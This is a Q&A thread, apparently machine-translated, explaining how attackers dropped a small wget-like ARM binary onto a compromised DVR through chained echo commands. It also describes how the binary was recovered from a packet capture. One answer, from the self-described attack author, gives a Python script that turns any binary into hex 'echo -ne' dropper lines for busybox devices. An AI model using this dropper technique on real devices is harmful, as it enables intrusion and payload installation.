wget 的一个小版本(51 字节?)

信息安全 系统妥协 手臂 嵌入式系统
2021-08-25 04:13:58

在这篇关于DVR 妥协的 ISC 文章中,作者谈到了嵌入式系统的妥协。echo特别是,攻击者在远程主机上执行一系列命令,并且:

此 DVR 没有“上传”功能。没有 wget,也没有 ftp 或 telnet 客户端。

...

第一个回显将 51 个字节写入“/var/run/rand0-btcminer-arm”,第二个回显返回“done”,表示系统已准备好执行下一个回显命令。

与名称不同,“rand0-btcminer-arm”不是比特币矿工。相反,它似乎只是“wget”的一个版本。

我不明白 wget 的基本原理怎么能放在 51 个字节中。这篇文章包含一个数据包转储,所以我想我可以将它写入文件并尝试对二进制文件进行逆向工程,但我怀疑这里还有其他事情发生。

谁能帮我理解这是怎么回事?“二进制”是否对网络功能进行库调用?

4个回答

作者犯了模棱两可的错误,让读者有点困惑。我必须承认,和你一样,一开始我很困惑,直到我看到 PCAP 转储。

首先,盒子确实没有wget

在此处输入图像描述

攻击者没有使用那个 echo 语句,他使用了一系列 echo 语句。我数了一下,大约有107 个 echo 语句逐步构建可执行文件rand0-btcminer-arm每个大约 50 个字节,即大约 5350 个字节实现简单的 HTTP 下载绰绰有余。

这是其中的一个片段(以红色突出显示):

在此处输入图像描述

我是编写破坏 dvrs 的代码的人,如上所述,有一个脚本可以简单地连接并将二进制文件“回显”到一个文件中,然后可以在其中执行它。由于我们只是将原始字节回显到文件中并且不包括任何新行(-n),因此结果是一个相同的文件。您可以使用攻击脚本中使用的函数自己生成一组回声线。

#get a list of echo commands we need to run
#by iterating through a file and converting sections of bytes (50 a time)
#into hex and then putting them into an echo -ne 'HEX' line
#additionally, we write \\x64\\x6f\\x6e\\x65 (ascii: done) which will allow us to verify that worked after
def getEchoList(localName, outputName, location):
    with open(localName, "rb") as f:
        converted = None
        result = []
        byte = f.read(1)
        i = 0
        current = ""

        while byte != "":
            if i == 51:
                i = 0
                result.append("echo -ne '%s' >> %s/%s && echo -e '\\x64\\x6f\\x6e\\x65'" % (current, location, outputName))
                current = ""
            current = current + "\\x"+byte.encode("hex")
            byte = f.read(1)
            i = i + 1

        if len(current) > 0:
            i = 0
            result.append("echo -ne '%s' >> %s/%s && echo -e '\\x64\\x6f\\x6e\\x65'" % (current, location, outputName))
            current = ""
        return result

list = getEchoList("some-binary", "to-echo-to", "/var/run")
for line in list:
    print(line)

显然这段代码很糟糕,但它是我们使用的。我们不能做 open('/dev/tcp/IP/port') 的原因是因为 dvrs 不运行 bash,我认为这是内置在 bash 中的。dvrs 有一个最小的busybox 环境,没有wget、ftpget 或任何其他获取文件的真实方式,如帖子所述。完整代码可在http://pastebin.com/s41eE1nM

我是帖子的作者,确实,“1”是正确的。查找构成“wget”上传的所有数据包的最简单方法是使用 wireshark 过滤器“tcp.stream eq 1”(有关 pcap,请参阅原始文章中的链接)。

只是“跟随 TCP 流”并将部分从 142.0.45.42 过滤到 192.168.1.100。

“另存为”(原始),您会得到一个包含内容的文本文件。

在您最喜欢的文本编辑器中编辑文件并删除导致一系列“回声”的行以及运行命令的最后几行。

将“/var/run”替换为“/tmp”

在(一次性)Linux系统上运行脚本......瞧你最终得到了二进制文件

$ md5 rand0-btcminer-arm
MD5 (rand0-btcminer-arm) = d1232ef223445276fe5f0f854358f021
$ file rand0-btcminer-arm
rand0-btcminer-arm: ELF 32-bit LSB executable, ARM, version 1, dynamically linked (uses shared libs), stripped

我称它为“wget”的原因是它使用了 Wget 用户代理:

$ strings rand0-btcminer-arm  |grep Wget
User-Agent: Wget

本文中的示例只是用于逐步构建文件的众多 echo 语句之一。因为它使用>>重定向运算符,所以它不会破坏文件的现有内容,而是追加到文件中。

引用文章:

事实证明,攻击者似乎使用了一个包装脚本,该脚本使用一系列“echo”命令来上传初始二进制文件。